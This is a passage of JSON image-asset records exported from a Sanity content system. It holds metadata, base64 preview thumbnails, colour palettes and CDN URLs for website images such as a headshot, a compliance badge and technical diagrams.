WIiIFU30g/ko9N4D1gDwRNvHpXBrc4vNCHHIg/HqIh1VreHrGt0PBewlnalSSfvxERLpP/Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c453d","foreground":"#fff","population":3.53,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#633520","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d1a694","foreground":"#000","population":3.65,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d1a694","foreground":"#000","population":3.65,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcd1bf","foreground":"#000","population":1.6,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#977567","foreground":"#fff","population":3.09,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#cc8464","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","opt":{"media":{"tags":[{"_ref":"yPSJChxxML0IGsXeJoKtjG","_type":"reference","_weak":true}]}},"originalFilename":"ian-massingham.jpg","path":"images/sczeoy4w/production/9f4932d474515877c0d991fab2bf847b1d9c7344-800x800.jpg","sha1hash":"9f4932d474515877c0d991fab2bf847b1d9c7344","size":46408,"title":null,"uploadId":"wIGIPSaHt1lBBIpkMX5sFXGZqO8mHO8T","url":"https://cdn.sanity.io/images/sczeoy4w/production/9f4932d474515877c0d991fab2bf847b1d9c7344-800x800.jpg"} {"_createdAt":"2023-10-04T14:20:46Z","_id":"image-9f5af1d1dc39e25b309854b9e942deb80c31c0ab-40x40-svg","_rev":"IQAT5P6GkWpa3uNjOik1jP","_type":"sanity.imageAsset","_updatedAt":"2023-10-04T14:20:46Z","assetId":"9f5af1d1dc39e25b309854b9e942deb80c31c0ab","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eSQ0XJt7~qt7WE%MWBxuofIU?bj[D%WBafIUofRjWB%M~qWBD%fQRj","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":40,"width":40},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAEiklEQVQ4jYWV+0+aVxjH/SsQeKGA3OHlNgTDQAtIt0wFvFUUb+0YsCpgbQviMJvVLkabWLJp2nRJl9imZjUz+wea7Oe1y5p11jbp2iJekDvKZUXgXR7ArGm69ocnh/PwPJ9z3nO+7/eteRGIWgLBmHNrO+YKbscdEFvb5fkHolIbrNS7gPEyELXUwI+9/ZQmkcygx5FMZdHUQQ49OPyHn8kW+OlMng85GLO5Ah/yb9YnkhkUGMCqATokMAzDYRiGxzCsNpvN4OOxKCEc3ic8fvwn6dnTTSSdPiS8evUSefToD1IsFiVAXTXw0AsMYNXAlqtAfKmEIdlsFrl7d5Xlco3JBweHmvR6/acDAwNNU1NTkt7ePnVLS8tnLpdL/vDh71QMw4j5owIJeoEBrDeBsBoxEokgdru9QSQSnWEwGOepVOoEn8+31dfXm7lc7pdsNntUIpEMejyejwqFArFUKhGh93+BoVCIdPr0aTWdTh+nUChfkcnkr2EEMJvNdojF4iEOhzMCNalUCoGe9wLD4TDJbDY3QhOTyXRRqVQviUSaptFoHiaTOcbhcM/Bji0WiyKXyxE/CEyn08T5+XnUoNfrNBqNXiqVmuVyuamtre1UY6Oqo14qNRsMBt3a2hoDwzBCoVBA3gtMJpPIz+u/MGdn58Ru96RsZMSpuHhxQn7l23nxJfekbHR0TLFwdVH418aTE1BfLBbfDSwWC3g44I2NzRPeyW/kXd0DBkO7qcvY0ddpaO/tNBhNXTAaO/o6hs/YdSu3VznwyPl8HsGw0n+3DIoH0VZ3SIhEY6Tvvr+BjoxeaPzC5lBbbU611e5S2+wutdXuLI+w4P37v9KhHqueYTKZPQbGyjt88OA38rVrfnRubg5dWlri+nw+idvtli4sXEVnZ68Ipy9fFt269SP7+vUb3OXlZe7q6irT7/fzbt78gbv5ZINUFbajJrgTd+zuRQWTXq9AqVT2iMXiYbgMhULRjaJ8C+hPIpEMgPaatdo2lUrVAf9BjVAoPCuTy/snJjzCcCQpqJzhDrzg+0Kv1yuQy+VmBoMx3tDQYIKgUChe0CBIhk6nXwBRs1gsR11d3SXQaW1t7QKZTJ4xGAwnA4FdYXAnUX5kZySaQn0+HyoWS84yGIwxrVarVyqVnTwez87lcs8BDBbi8Xg22Cm8QRQKZRKHwy0iCDKn0+lOPX32t3h7N1G55VAoJhgeHmpgsVjjIF4ANjU1tbe2tn5iNBp1AGYymU61Wm00Go3NMpmsTyAQWGg0mpvFYp3v7u5SPX8eEG3vVIH74YTA7/dzTCZTc09Pj9btdtdPT0+Lf7p3j7W+vs602mwf9/f3n1xcXERXVlbYMzMzIo/HIwXTsFptqjt3bjMi0VTlDMFy4om0oFDI4+LxODEU2iPG4zFCPv+6bGUQB6kkASwLtFrOlYr4o6M8PhwOQS3IBgfSK9sXmGJoP6VJpXLoYTrPz2SP+Ifp13ww2GPzBEOFHDQdGzAE5KpmK9gLJTWBYNRZA7Yd2Kp8AkBHb1k9zN+Ve3te/gS8CEQ+/xe27It0dFD3LwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2c242e","foreground":"#fff","population":0.25,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3d3d47","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c4c4cc","foreground":"#000","population":0.31,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c4c4cc","foreground":"#000","population":0.31,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b7b7c1","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c7c84","foreground":"#fff","population":0.06,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#767688","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"ISO27018.svg","path":"images/sczeoy4w/production/9f5af1d1dc39e25b309854b9e942deb80c31c0ab-40x40.svg","sha1hash":"9f5af1d1dc39e25b309854b9e942deb80c31c0ab","size":7783,"uploadId":"E2HnOwmdtk9exMjrBA4Cg1Wit2BOApiD","url":"https://cdn.sanity.io/images/sczeoy4w/production/9f5af1d1dc39e25b309854b9e942deb80c31c0ab-40x40.svg"} {"_createdAt":"2022-11-22T11:40:13Z","_id":"image-9fbf16ab7e56d9dec53de715f9f115ac6828d098-1600x1100-png","_rev":"YI3rks3mbRtnzMpdoE3ZGu","_type":"sanity.imageAsset","_updatedAt":"2022-11-22T11:40:13Z","assetId":"9fbf16ab7e56d9dec53de715f9f115ac6828d098","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.4545454545454546,"height":1100,"width":1600},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAOCAIAAACgpqunAAAACXBIWXMAAAsTAAALEwEAmpwYAAABtElEQVQokW2S23LkIAxE8/+/GY+5CQw2VyGJLU8qk0xqu3g9dLekj/VLIouIEWmglDqP1I7YSyVEIRKR9Ucfv0mcnPM4Yj8iQujKZG2bPzCdmAsi8p8PfmBmyQUtVGWqhWFhKFN307Rt2lUHLZ2j98ks/4GJ5Lymdk3ZDmFCQONuUpm6qfK5Z23LETsi/4VFZCAfEZVtyg4DU7ux67zt10OVTdVN3Ymc763zK/sNy1oDKaamTN72/NBDWdxN3/bbcL8Z/MoS4mxd3mAWKRWNzZ+P86GLAbQwlR0P3TbVDIyQ6Dj5SHSkWRsz/3YW6Z1C7Aaa9d35YaBrN8zzWT99ZB8ZAjrfrjyI+K0zs/TBV6EQp4G266Jd95FCIh/pSOzjtNCMKzH1Od/hZ/jVh6SLnO/aNesHHHdPCCOelC4OEX3oV8Y3Z/nWpFWaxPPuFk+CgNoUY+uR5lUkVy6Nnqfy3RkRx1NExCw4V22Sq1xFQprGVQvtSLNUGbiI70P82XNKCQBCCK3dc2RZk1bHVdu6CsdzxoSlMs71GvIPHELQWgNArfVrCSJ3/znXwNUGj8GT3gxf8D/qHSqCEgexXwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c3c3c","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#17286d","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#3c3c3c","foreground":"#fff","population":0.02,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a6a9cc","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ccd4f4","foreground":"#000","population":0.01,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#706e8c","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2d4ed1","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"kafka-simply-explained-complex-monolith.png","path":"images/sczeoy4w/production/9fbf16ab7e56d9dec53de715f9f115ac6828d098-1600x1100.png","sha1hash":"9fbf16ab7e56d9dec53de715f9f115ac6828d098","size":60077,"uploadId":"xpLkx0HZ5chvEgH2gyqPbucpP0Gy89ED","url":"https://cdn.sanity.io/images/sczeoy4w/production/9fbf16ab7e56d9dec53de715f9f115ac6828d098-1600x1100.png"} {"_createdAt":"2023-09-21T08:24:44Z","_id":"image-a0564a2b1177fcb91e82b68dde329d69135a1050-1200x628-jpg","_rev":"rpwBSMa1i11HwZnbWq6wob","_type":"sanity.imageAsset","_updatedAt":"2023-09-21T08:24:44Z","assetId":"a0564a2b1177fcb91e82b68dde329d69135a1050","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"M87UW0-xITRiM{?wtQM_WCWYD$Rjoeohxs","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAKABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAIDBAUH/8QAIBAAAgECBwEAAAAAAAAAAAAAAQIAAwQFERITITJBIv/EABYBAQEBAAAAAAAAAAAAAAAAAAQCBv/EABsRAAEEAwAAAAAAAAAAAAAAAAABAgMREiFB/9oADAMBAAIRAxEAPwDkGGXGDrbURcIN0D6On2Nc3uG1BpW1YZHgocs5hAnYpx6XeamFNWEcWqmyzsVUqvgJ5hIH7GETlXCD/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#252750","foreground":"#fff","population":0.19,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#142471","foreground":"#fff","population":11.12,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#142471","foreground":"#fff","population":11.12,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d2d7e7","foreground":"#000","population":6.9,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7a7fc3","foreground":"#fff","population":0.29,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#686f94","foreground":"#fff","population":1.65,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1d2786","foreground":"#fff","population":7.72,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"stand-up-multiregion-postgresql-with-pulumi_meta-preview.jpg","path":"images/sczeoy4w/production/a0564a2b1177fcb91e82b68dde329d69135a1050-1200x628.jpg","sha1hash":"a0564a2b1177fcb91e82b68dde329d69135a1050","size":60985,"uploadId":"0wnw8VHxWuTmwlwSFO31FAGC6Yk4YBkm","url":"https://cdn.sanity.io/images/sczeoy4w/production/a0564a2b1177fcb91e82b68dde329d69135a1050-1200x628.jpg"} {"_createdAt":"2022-06-30T19:57:44Z","_id":"image-a06f70a67be0c54928da1894bf4eac8491ed842f-640x399-png","_rev":"sI1gFaRN7B5HWmjllAARX1","_type":"sanity.imageAsset","_updatedAt":"2022-09-26T16:05:44Z","assetId":"a06f70a67be0c54928da1894bf4eac8491ed842f","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"V3Q0mx0000000000.7%zx]tQ00_2?b-;%2?wNtNaNaRj","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6040100250626566,"height":399,"width":640},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAIAAADtbgqsAAAACXBIWXMAAAsTAAALEwEAmpwYAAABmklEQVQokZWRWUsbURTH72dREUUoYl1QKIKYB0UiKgoFH3zpk1+hiVtk6v4QJ5lk0LoV07TuBMVP4FtMINrkSYqCWyZz77l3Vh3lJuJCocQf/7Nxzv/poJ7Aj25x1e1fHlzbPkye3ig5FeOCcipWVDWHMSZAgGICZ5fZo9OL1Nm1Sqiua6hjbrFtdsE1LX/5/vsgcXKjKBgTDEAAMAFMeF8YCcBlVs2c3/69Ughlpmmi1slwy4TULAQH5Mh+PHWr5PgVAKWUMcZDe8qFkVANKNN0zbIs1Pwt9EmQmsYD/eFILJ7KqphSCgCMMT2PYRj5zBvDMJ/h5iYh3CiE6n3Bz6GfseQfzLSnjW3fvca2ud6C6n1SnU+qGQ30BiOxZJoapuM4zsM/OA4Xry+g6mHxw5BY5fF3za/vJdKQNz8UB6r0Bio8YvlX0T0f2X2vuWxIKvNKJV6pXfy1nci8z9wwJteOyaXekMsf3TzOEMO8LxrUN7nonlqqGpFd/uhGPI013S4a5J5eaZtZ/SgsdUpbO8cZ/irLevnmf3kEb0Vtn/rsiVgAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#44747c","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0a778b","foreground":"#fff","population":0.5,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#237b94","foreground":"#fff","population":7.74,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d2a1a5","foreground":"#000","population":0.15,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9de4f7","foreground":"#000","population":0.16,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#51a4ac","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#237b94","foreground":"#fff","population":7.74,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"a06f70a67be0c54928da1894bf4eac8491ed842f-640x399.png","path":"images/sczeoy4w/production/a06f70a67be0c54928da1894bf4eac8491ed842f-640x399.png","sha1hash":"a06f70a67be0c54928da1894bf4eac8491ed842f","size":16528,"uploadId":"5NzxabaCtcOwwKaxvECQJ8DneRoz6osi","url":"https://cdn.sanity.io/images/sczeoy4w/production/a06f70a67be0c54928da1894bf4eac8491ed842f-640x399.png"} {"_createdAt":"2022-06-14T14:41:02Z","_id":"image-a0b3f4e21386a0f8cf265ce8f65818699588a784-205x205-jpg","_rev":"oamrAPLmQLQjd9jh7Ypyta","_type":"sanity.imageAsset","_updatedAt":"2022-06-14T14:41:02Z","assetId":"a0b3f4e21386a0f8cf265ce8f65818699588a784","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"ebL:r:nf?^WBnj?aofRkj[WBNdWCRPoKoJ-pj?WVj[RkNHazV@ayof","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":205,"width":205},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGQABAQADAQAAAAAAAAAAAAAAAAcDBQYI/8QAIRAAAgICAgMAAwAAAAAAAAAAAQIAAwQRBQYTIUEicbH/xAAVAQEBAAAAAAAAAAAAAAAAAAAFBP/EABoRAQEBAQEBAQAAAAAAAAAAAAEAAgMSERP/2gAMAwEAAhEDEQA/AKhzOUuBiG1iB82fk5zC7Ggz6kN6OtraA3/JtO3pXfxri7RRTsg/ZNuJGJldhw6EoUeJwEI/cG1vX6gTHHnl5q1uVfxETLUV8Y9xFPMb9vPfcey8ldmGprQK0bYVRoTnaOfz6M+q6p1WxTsELESID2NXhTGivnWOUyc7haL7ypsYe9DUREQKK//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4b3a2c","foreground":"#fff","population":8.1,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#85482c","foreground":"#fff","population":6.71,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d4c4ac","foreground":"#000","population":11.01,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d4c4ac","foreground":"#000","population":11.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d4c4a4","foreground":"#000","population":2.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9f785d","foreground":"#fff","population":0.59,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#aa6d41","foreground":"#fff","population":10.78,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"rauli.jpg","path":"images/sczeoy4w/production/a0b3f4e21386a0f8cf265ce8f65818699588a784-205x205.jpg","sha1hash":"a0b3f4e21386a0f8cf265ce8f65818699588a784","size":13705,"uploadId":"btadwQ7f1vxWG1bjlu3LJREjeG6HMw90","url":"https://cdn.sanity.io/images/sczeoy4w/production/a0b3f4e21386a0f8cf265ce8f65818699588a784-205x205.jpg"} {"_createdAt":"2023-10-04T13:25:42Z","_id":"image-a0cee03c74d73981250724f2348cc09e81be416c-2000x1333-jpg","_rev":"46Ky6Oj1Dro85iJlEnhtWc","_type":"sanity.imageAsset","_updatedAt":"2023-10-04T13:25:42Z","assetId":"a0cee03c74d73981250724f2348cc09e81be416c","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"VmI;^uM{t7tSM{~pV?WXj]RjxsaeV@M{WCRjt7Rjaft7","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5003750937734435,"height":1333,"width":2000},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAANABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAUIBAf/xAAlEAABAwQBAgcAAAAAAAAAAAABAgMEAAUGERIxUQcTISIyYoH/xAAXAQADAQAAAAAAAAAAAAAAAAABAgME/8QAGxEAAgIDAQAAAAAAAAAAAAAAAAECEhETURT/2gAMAwEAAhEDEQA/AHl3zKDjONsw0OqVcijkEAbCQem6eYVmDL1olPXmS0XW2hx5eiST0Aqeot3XdcmcdfYb81TfUnkB+VptjKnsjTGmuKkRW0HTXxBPc6qDiou2DQlaNSgHvEbFY/BEqZGW/wAQVlJGge1FccTjFjd9xtzez9jRS7o8D5n0/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5a3a2f","foreground":"#fff","population":7.65,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#29617a","foreground":"#fff","population":0.04,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#5a3a2f","foreground":"#fff","population":7.65,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ccb89a","foreground":"#000","population":3.93,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#eff1fc","foreground":"#000","population":0.71,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#906e5d","foreground":"#fff","population":7.54,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4494b4","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Aiven-Day2lr-152.jpg","path":"images/sczeoy4w/production/a0cee03c74d73981250724f2348cc09e81be416c-2000x1333.jpg","sha1hash":"a0cee03c74d73981250724f2348cc09e81be416c","size":1222579,"uploadId":"PpZTvnNYVbseBRlW08voDQalozeBSf2G","url":"https://cdn.sanity.io/images/sczeoy4w/production/a0cee03c74d73981250724f2348cc09e81be416c-2000x1333.jpg"} {"_createdAt":"2022-06-15T20:01:57Z","_id":"image-a121bf70748278c9da7667e25c6e0d5cb9e21874-1567x844-png","_rev":"ecafYeJdFUSoqAVEkXNhFf","_type":"sanity.imageAsset","_updatedAt":"2022-07-13T00:59:09Z","assetId":"a121bf70748278c9da7667e25c6e0d5cb9e21874","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MADk[p0wNF~X4T}cEwkC-WNY00}]t7MdTx","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAABcRAAAXEQHKJvM/AAACnUlEQVQokUXE608SAQAA8PtkIA81LVAegsjxELo7XqcH9wBEDuGA4BDwiXoaOhtpOBw2dTptTmzmowczK226OaKsljW31pz9X61Pbb/9AJncpQN9Op1PraKUraRSQchbXHKpSy3BjbcxqBaFeQ5UiIWk/owmmdH0hSQ0KsRgngPm2YF2tcfZmcCxpM0StUBh2BwyaHs0zUTHHRfWiHeL8VCDZ8I4uBleKQ/t7ad2VnxFTp9mGrx+IQGAKg+KRJ0OttN634FE7HDEZmKsGr9b3cMq6bG79GNt+tVg6fLp14/r318vVg/zJ8/ja/Pa9GRDAIBAP+0eZsPZBDMVobmAeyTiG0v5uGn6QZHgVnXpPSz3bbVy9f5mY/1irnh6VPpcKRy96MptSBKAwxhMBLPj/XmuPz/M5pKh7FB0ZpqdXU7N7zKzbyCuSi5cb158+nCdWz6dXTquHF7+Xjv7Qi6cKjIAovF1O5KMe4ShRoLkUC8+GCaH+92jc96JkpM7NmR+WHM3M+XqdnVr6d3LteOfz87/TO3+sj66assCWjll1vodUASFov+GoxgS81jiMQs7YWYLILttHjllV84L5ZNi+WyxXJnbe9ub3zYMbYMZQCpzyVspfUcvYovZUNZij9kccRRNWJEIZAhAIE1C8YeJ/E5h52Dp4ODJ/laulPFPoyCDtAUBiQJvN9B2rM/rHw0wkz1Bztc73hOcwNwDIMRINF6pijKbAhQa82JxLxYn7XE9SDdInKKmLqBZSZjgcKcziRFp3D3gogacRL+LGujCUyYk0qKi6psQsVBXx9fX13bU1xrr+XpRrU4kMIkFMNDU3CVrJRRqSq6iZCpS1vpfi5JskmF1jUYBXy28ZRDxIRHfLKwBeTUKAb9dzL/3F+uEw258GbiRAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2e1b3e","foreground":"#fff","population":5.55,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#85041a","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#2e1b3e","foreground":"#fff","population":5.55,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c691b5","foreground":"#000","population":2.51,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f44394","foreground":"#fff","population":0.03,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#556285","foreground":"#fff","population":4.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e52a74","foreground":"#fff","population":0.88,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"a121bf70748278c9da7667e25c6e0d5cb9e21874-1567x844.png","path":"images/sczeoy4w/production/a121bf70748278c9da7667e25c6e0d5cb9e21874-1567x844.png","sha1hash":"a121bf70748278c9da7667e25c6e0d5cb9e21874","size":247049,"uploadId":"dfeGcTWf56Suy9gvAA1mX33aZo112NmF","url":"https://cdn.sanity.io/images/sczeoy4w/production/a121bf70748278c9da7667e25c6e0d5cb9e21874-1567x844.png"} {"_createdAt":"2023-10-30T06:52:36Z","_id":"image-a123f34257310367778f7d218daa3aebf7cedf0d-1200x456-png","_rev":"Hl0n8vwXwRlkg63bgx8IB4","_type":"sanity.imageAsset","_updatedAt":"2023-10-30T06:52:36Z","assetId":"a123f34257310367778f7d218daa3aebf7cedf0d","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"DC2ayZQlQRu6Z}VEkrkradf5","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.6315789473684212,"height":456,"width":1200},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAYAAAD5nd/tAAAACXBIWXMAAC4jAAAuIwF4pT92AAAB8ElEQVQokV2RS2tTURSF1302VWtp1HSiltTYJuaqiGCL0oFQaXJ2emmTGq2hoQ+0iPoHRBGtPefaEPuIkfpAnagTR4pEsKLWGusDBEedOHZQQdCCOlLuI604+NhnHTaLxV4AcYD9BwmACW9ySOYloGMESFjYNjGHxpEnro6NLu8408YVXAIJBSRUD6WipYSlKF05GfFRpab/urL7zidlx9V3clV6UgbjChKWvW+/XS/PuQaMh0DCAOMVtntEHR27aKzOTkeN4nykKfc8rPeMR+0/kIiA8YAXoGLIN4J4J4hnQKIPJAZAYsibg0hYJ0Di2NrBG0PGlflsc+5Fn+9wYRiMDyBhEUg0gnHVTejeKgDibSARBwl7wQTj3bI51qWnJ1NVh6ayvt5CdsOpu5md0x+S0cKbZN3w7Yyvt9C9KlNsrT5SDOjpCUlN5u2EzkE1kKgFCT9IrHNgfP2a/mv1m88+agheKIWC50vN4fxsU+v9hWDLvYUtkfFXW0NiJhjOz9ZHp8rVu25+RMO5x8s3XGkrvtL08V9/pM63P1Xz/W+Nvf6hd7z8prc/XdTaZxZ1Vl7SqbykHXj2Vdtf+iLve/AZ8bnvnqHT0D+mFdpOA3UpQI0BaAGMk9h05iFqj94C/AcB7AWwB/D3QDbHoKUu4y+UJq/35UvR9gAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#35525f","foreground":"#fff","population":0.5,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#043c86","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#40b4df","foreground":"#000","population":0.56,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#739eb4","foreground":"#fff","population":0.07,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#40b4df","foreground":"#000","population":0.56,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#548d9a","foreground":"#fff","population":0.05,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#24aada","foreground":"#fff","population":0.02,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Essendant_Logo_Tagline_Main_RGB.png","path":"images/sczeoy4w/production/a123f34257310367778f7d218daa3aebf7cedf0d-1200x456.png","sha1hash":"a123f34257310367778f7d218daa3aebf7cedf0d","size":27166,"uploadId":"CReMDnrlrpAlZgJle0b76sd0PPg05sbu","url":"https://cdn.sanity.io/images/sczeoy4w/production/a123f34257310367778f7d218daa3aebf7cedf0d-1200x456.png"} 